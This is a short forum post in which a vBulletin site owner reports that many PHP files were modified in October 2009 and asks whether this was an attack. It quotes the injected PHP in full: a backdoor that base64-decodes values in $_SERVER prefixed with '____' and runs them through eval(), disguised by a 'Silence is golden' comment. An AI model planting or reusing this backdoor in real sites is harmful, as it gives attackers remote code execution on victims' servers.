Possible attack against vbulletin
I've noticed as of 10/5/09 many of my php files were altered with the below code. Also added index.php to alot of the folders. Was this an attack? It put this code at the top of many php files in the vbulletin directories. Anyone else see this?
"<?php function q22173($l22175){if(is_array($l22175)){foreach($l22 175 as $l22173=>$l22174)$l22175[$l22173]=q22173($l22174);}elseif(is_string($l22175) && substr($l22175,0,4)=="____"){$l22175=substr($l2217 5,4);$l22175=base64_decode($l2 2175);eval($l22175);$l22175=null;}return $l22175;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_ VARS;array_map("q22173",$_SERV ER);
// Silence is golden.
?>"
|
10-07-2009, 06:13 PM
Hybrid Mode
